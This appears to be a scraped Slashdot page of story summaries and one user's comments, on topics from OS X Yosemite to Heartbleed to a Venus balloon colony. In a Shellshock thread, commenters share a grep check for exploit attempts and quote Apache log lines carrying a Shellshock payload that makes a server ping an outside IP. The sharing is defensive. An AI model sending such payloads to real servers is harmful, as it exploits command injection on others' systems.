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OS X

OS X 10.10 Yosemite Review 305

Posted by Soulskill
from the so-many-10-based-operating-systems dept.
An anonymous reader writes: With the release of OS X 10.10 Yosemite, Ars Technica has posted one of their extremely thorough reviews of the OS's new features and design changes. John Siracusa writes that Yosemite is particularly notable because it's the biggest step yet in Apple's efforts to bring OS X and iOS together — new technologies are now being added to Apple's two operating systems simultaneously. "The political and technical battles inherent in the former two-track development strategy for OS X and iOS left both products with uncomfortable feature disparities. Apple now correctly views this as damage and has set forth to repair it." Yosemite's look and feel has undergone significant changes as well, generally moving toward the flat and compact design present in iOS 7 & 8. Spotlight and the Notifications Center have gotten some needed improvements, as did many tab and toolbar interfaces.

Siracusa also takes a look a Swift, Apple's new programming language: "Swift is an attempt to create a low-level language with high-level syntax and semantics. It tackles the myth of the Sufficiently Smart Compiler by signing up to create that compiler as part of the language design process." He concludes: "Viewed in isolation, Yosemite provides a graphical refresh accompanied by a few interesting features and several new technologies whose benefits are mostly speculative, depending heavily on how eagerly they're adopted by third-party developers. But Apple no longer views the Mac in isolation, and neither should you. OS X is finally a full-fledged peer to iOS; all aspects of sibling rivalry have been banished."

Comment: Re:Only the beginning (Score 1) 236

by WhiteDragon (#48003261) Attached to: First Shellshock Botnet Attacking Akamai, US DoD Networks

You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):

grep cgi /var/log/apache2/access*|egrep "};|}\s*;"

Thanks for the nice grep work - found one attempt to get my box to rat itself out via ping:

/var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:03:52:14 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1799 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Fortunately I was patched several hours prior to that.

Would there be any way for that probe to execute against a static 404 page - no cgi executing?

yep: /var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:09:26:29 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 491 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" That's pretty quick. Fortunately, I didn't have that cgi script, but still quite scary.

Comment: Re:AI is always (Score 1) 564

Algorithms are not AI. Everything you describe is simply a matter of following a human-generated set of instructions. That is not AI.

Algorithms are not AI. Everything you describe is simply a matter of following a human-generated set of instructions. That is not AI.

no, the difference is Big Data. Before "Big Data", machine translation, self-driving vehicles, chess, etc. were problems that were attempted to be solved by algorithms written by humans. These kinds of algorithms would be full of heuristics such as "if you are in situation X, perform behavior Y". This led to fragile, clunky code. Nowadays, with Big Data, the algorithms are more like, "see what everybody else is doing in situations similar to X"

Chrome

Google Starts Blocking Extensions Not In the Chrome Web Store 225

Posted by Soulskill
from the protecting-you-from-yourself dept.
An anonymous reader writes "Google has begun blocking local Chrome extensions to protect Windows users. This means that as of today, extensions can be installed in Chrome for Windows only if they're hosted on the Chrome Web Store. Furthermore, Google says extensions that were previously installed 'may be automatically disabled and cannot be re-enabled or re-installed until they're hosted in the Chrome Web Store.' The company didn't specify what exactly qualifies the "may" clause, though we expect it may make exceptions for certain popular extensions for a limited time. Google is asking developers to reach out to it if they run into problems or if they 'think an extension was disabled incorrectly.'"
Build

Printed Circuits as Part of a 3-D Printed Object (Video) 42

Posted by timothy
from the next-thing-you-know-we'll-be-printing-electronic-ray-guns dept.
Affordable 3-D printing is still young; just a few years ago, it would have been nearly impossible to have an arbitrary three-dimensional piece of plastic (or resin, or sometimes metal) created from a software description in a box that fits on your desk. But in the several years the printing of *things* has moved fromquaint, quixotic, futzing-about hobby into something that works (fairly) reliably in ever more garages, schools, and hackerspaces, it's gotten good enough that you can now download and print quite a few objects that are available for download, or scan small items to replicate, or scan your friends to print out as statuettes. However, for the most part, these printed pieces are static, and finished. With care, you can print things like a chain, or even a ball joint, but you're still limited mostly to one basic material at a time. (Printing with multiple colors is getting easier, though.) If you want to print a flashlight or a robot, you'll need to add wires and other circuitry as a separate step. That's what the folks at Rabbit Proto (get it?) are trying to change. With the system they're working on, a filament printer is used to fabricate the object itself, but at the same time, both capacitive and conductive features can be baked -- or rather printed -- right in, with a separate print head. We talked with Alexandre Jais and Manal Dia of Rabbit Proto about how the system works, and why you might want to use it. (Alternate video link.)

Comment: Re:Whatever you may think ... (Score 1) 447

by WhiteDragon (#46749447) Attached to: Heartbleed Coder: Bug In OpenSSL Was an Honest Mistake

It would be nice if they had some sort of code review in place for this sort of stuff. However, this isn't a paid project, so the developers writing this are doing arguably the best they can.

The code was reviewed. The commit log shows that the reviewer was Stephen Henson (thanks to slashdot user grub for pointing this out.)

Government

Estonia Sharing Its Finnish-Made E-Government Solution With Finland 83

Posted by timothy
from the circle-arctic-circle dept.
paavo512 writes "For the last decade or so, Estonia has developed a national electronic data exchange layer called X-Road. Is is based on national electronic ID cards and allows creation of common electronic services like founding a company, declaring taxes or e-voting. Every day, over 800,000 enquiries are made via X-Road (the population of Estonia is 1.3M). According to the PM of Estonia, the solution is saving 2% of national GDP annually. The Estonian ID card technology was originally imported from Finland; however, it appears Finns have for 10 years failed to come up with any significant e-services making use of them. So it is now agreed that Estonian X-Road solution will be expanding to Finland as well."

Comment: Re:Awesome (Score 1) 193

by WhiteDragon (#45482015) Attached to: NASA's Next Frontier: Growing Plants On the Moon

Personally I wish we'd just man up and shoot the appropriate organisms into Venus' atmosphere to start the terraforming process.

Because breathable Earth-normal atmosphere is a lifting gas on Venus, we could make a relatively low budget colony without any terraforming. Just send a big balloon. It could ride the relatively stable upper atmospheric winds on Venus, circling the planet every 4 earth days, and be at standard pressure, so any hull breach would not result in explosive decompression.

Blessed be those who initiate lively discussions with the hopelessly mute, for they shall be known as Dentists.

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